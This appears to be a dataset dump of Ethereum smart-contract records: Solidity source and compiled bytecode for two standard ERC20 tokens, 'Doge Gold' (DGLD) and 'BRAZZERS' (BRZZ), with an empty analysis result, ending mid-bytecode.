* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
contract ERC20PresetFixedSupply is ERC20Burnable {
/**
* @dev Mints `initialSupply` amount of token and transfers them to `owner`.
*
* See {ERC20-constructor}.
*/
constructor(
string memory name,
string memory symbol,
uint256 initialSupply,
address owner
) ERC20(name, symbol) {
_mint(owner, initialSupply);
}
}
contract DGLD is ERC20PresetFixedSupply {
constructor() ERC20PresetFixedSupply("Doge Gold", "DGLD", 4328950 * (10**18), 0xf459B83f676467e55Ed557a45B1E64569450F051) {}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b4114610226578063a457c2d714610244578063a9059cbb14610274578063dd62ed3e146102a4576100cf565b806342966c68146101be57806370a08231146101da57806379cc67901461020a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d4565b6040516100e9919061118b565b60405180910390f35b61010c60048036038101906101079190610f47565b610366565b6040516101199190611170565b60405180910390f35b61012a610384565b60405161013791906112ed565b60405180910390f35b61015a60048036038101906101559190610ef8565b61038e565b6040516101679190611170565b60405180910390f35b610178610486565b6040516101859190611308565b60405180910390f35b6101a860048036038101906101a39190610f47565b61048f565b6040516101b59190611170565b60405180910390f35b6101d860048036038101906101d39190610f83565b61053b565b005b6101f460048036038101906101ef9190610e93565b61054f565b60405161020191906112ed565b60405180910390f35b610224600480360381019061021f9190610f47565b610597565b005b61022e610612565b60405161023b919061118b565b60405180910390f35b61025e60048036038101906102599190610f47565b6106a4565b60405161026b9190611170565b60405180910390f35b61028e60048036038101906102899190610f47565b61078f565b60405161029b9190611170565b60405180910390f35b6102be60048036038101906102b99190610ebc565b6107ad565b6040516102cb91906112ed565b60405180910390f35b6060600380546102e390611451565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611451565b801561035c5780601f106103315761010080835404028352916020019161035c565b820191906000526020600020905b81548152906001019060200180831161033f57829003601f168201915b5050505050905090565b600061037a610373610834565b848461083c565b6001905092915050565b6000600254905090565b600061039b848484610a07565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e6610834565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045d9061122d565b60405180910390fd5b61047a85610472610834565b85840361083c565b60019150509392505050565b60006012905090565b600061053161049c610834565b8484600160006104aa610834565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461052c919061133f565b61083c565b6001905092915050565b61054c610546610834565b82610c88565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006105aa836105a5610834565b6107ad565b9050818110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e69061124d565b60405180910390fd5b610603836105fb610834565b84840361083c565b61060d8383610c88565b505050565b60606004805461062190611451565b80601f016020809104026020016040519081016040528092919081815260200182805461064d90611451565b801561069a5780601f1061066f5761010080835404028352916020019161069a565b820191906000526020600020905b81548152906001019060200180831161067d57829003601f168201915b5050505050905090565b600080600160006106b3610834565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610770576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610767906112cd565b60405180910390fd5b61078461077b610834565b8585840361083c565b600191505092915050565b60006107a361079c610834565b8484610a07565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a3906112ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561091c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610913906111ed565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109fa91906112ed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e9061128d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade906111ad565b60405180910390fd5b610af2838383610e5f565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f9061120d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c0b919061133f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c6f91906112ed565b60405180910390a3610c82848484610e64565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cef9061126d565b60405180910390fd5b610d0482600083610e5f565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d81906111cd565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610de19190611395565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e4691906112ed565b60405180910390a3610e5a83600084610e64565b505050565b505050565b505050565b600081359050610e7881611808565b92915050565b600081359050610e8d8161181f565b92915050565b600060208284031215610ea557600080fd5b6000610eb384828501610e69565b91505092915050565b60008060408385031215610ecf57600080fd5b6000610edd85828601610e69565b9250506020610eee85828601610e69565b9150509250929050565b600080600060608486031215610f0d57600080fd5b6000610f1b86828701610e69565b9350506020610f2c86828701610e69565b9250506040610f3d86828701610e7e565b9150509250925092565b60008060408385031215610f5a57600080fd5b6000610f6885828601610e69565b9250506020610f7985828601610e7e565b9150509250929050565b600060208284031215610f9557600080fd5b6000610fa384828501610e7e565b91505092915050565b610fb5816113db565b82525050565b6000610fc682611323565b610fd0818561132e565b9350610fe081856020860161141e565b610fe9816114e1565b840191505092915050565b600061100160238361132e565b915061100c826114f2565b604082019050919050565b600061102460228361132e565b915061102f82611541565b604082019050919050565b600061104760228361132e565b915061105282611590565b604082019050919050565b600061106a60268361132e565b9150611075826115df565b604082019050919050565b600061108d60288361132e565b91506110988261162e565b604082019050919050565b60006110b060248361132e565b91506110bb8261167d565b604082019050919050565b60006110d360218361132e565b91506110de826116cc565b604082019050919050565b60006110f660258361132e565b91506111018261171b565b604082019050919050565b600061111960248361132e565b91506111248261176a565b604082019050919050565b600061113c60258361132e565b9150611147826117b9565b604082019050919050565b61115b81611407565b82525050565b61116a81611411565b82525050565b60006020820190506111856000830184610fac565b92915050565b600060208201905081810360008301526111a58184610fbb565b905092915050565b600060208201905081810360008301526111c681610ff4565b9050919050565b600060208201905081810360008301526111e681611017565b9050919050565b600060208201905081810360008301526112068161103a565b9050919050565b600060208201905081810360008301526112268161105d565b9050919050565b6000602082019050818103600083015261124681611080565b9050919050565b60006020820190508181036000830152611266816110a3565b9050919050565b60006020820190508181036000830152611286816110c6565b9050919050565b600060208201905081810360008301526112a6816110e9565b9050919050565b600060208201905081810360008301526112c68161110c565b9050919050565b600060208201905081810360008301526112e68161112f565b9050919050565b60006020820190506113026000830184611152565b92915050565b600060208201905061131d6000830184611161565b92915050565b600081519050919050565b600082825260208201905092915050565b600061134a82611407565b915061135583611407565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561138a57611389611483565b5b828201905092915050565b60006113a082611407565b91506113ab83611407565b9250828210156113be576113bd611483565b5b828203905092915050565b60006113d4826113e7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561143c578082015181840152602081019050611421565b8381111561144b576000848401525b50505050565b6000600282049050600182168061146957607f821691505b6020821081141561147d5761147c6114b2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611811816113c9565b811461181c57600080fd5b50565b61182881611407565b811461183357600080fd5b5056fea2646970667358221220e95ea3a3afa98cc5f9dcb79736c3b2762e68f77de40593c9f504a841abad164b64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,241 |
0xaf20e43670ba3d81415ff799e41293c3268df577
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'BRAZZERS' token contract
//
// Symbol : BRZZ
// Name : BRAZZERS
// Total supply: 1 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract BRZZ is BurnableToken {
string public constant name = "BRAZZERS";
string public constant symbol = "BRZZ";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600881526020017f4252415a5a45525300000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f42525a5a0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7